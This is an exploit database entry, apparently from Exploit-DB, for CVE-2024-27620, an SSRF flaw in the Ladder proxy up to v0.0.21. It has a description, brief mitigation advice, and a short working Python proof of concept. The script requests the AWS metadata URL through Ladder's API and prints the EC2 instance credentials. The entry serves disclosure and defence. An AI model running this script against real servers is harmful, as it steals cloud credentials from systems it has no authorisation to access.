Ladder v0.0.21 - Server-side Request Forgery (SSRF)

vendor:

Ladder

by:

_chebuya

6.1

CVSS

HIGH

Server-side Request Forgery (SSRF)

918

CWE

Product Name: Ladder

Affected Version From: v0.0.1

Affected Version To: v0.0.21

Patch Exists: NO

Related CWE: CVE-2024-27620

CPE: a:everywall:ladder:0.0.21

Metasploit:

Other Scripts:

Platforms Tested: Ubuntu 20.04.6 LTS on AWS EC2

2024

Ladder v0.0.21 – Server-side Request Forgery (SSRF)

Ladder v0.0.21 does not properly restrict destination addresses, enabling an attacker to send GET requests to addresses that are usually inaccessible externally. This allows unauthorized access to private address ranges, local services, and cloud instance metadata APIs. The vulnerability can be exploited to extract sensitive information.

Mitigation:

To mitigate this vulnerability, implement proper input validation and sanitize user-controlled input to prevent SSRF attacks. Restrict access to external resources and avoid direct server-side requests to untrusted sources.

Source

Exploit-DB raw data:

# Exploit Title: Ladder v0.0.21 - Server-side request forgery (SSRF)
# Date: 2024-01-20
# Exploit Author: @_chebuya
# Software Link: https://github.com/everywall/ladder
# Version: v0.0.1 - v0.0.21
# Tested on: Ubuntu 20.04.6 LTS on AWS EC2 (ami-0fd63e471b04e22d0)
# CVE: CVE-2024-27620
# Description: Ladder fails to apply sufficient default restrictions on destination addresses, allowing an attacker to make GET requests to addresses that would typically not be accessible from an external context.  An attacker can access private address ranges, locally listening services, and cloud instance metadata APIs

import requests
import json

target_url = "http://127.0.0.1:8080/api/"
imdsv1_url = "http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"

r = requests.get(target_url + imdsv1_url)
response_json = json.loads(r.text)
print(response_json["body"])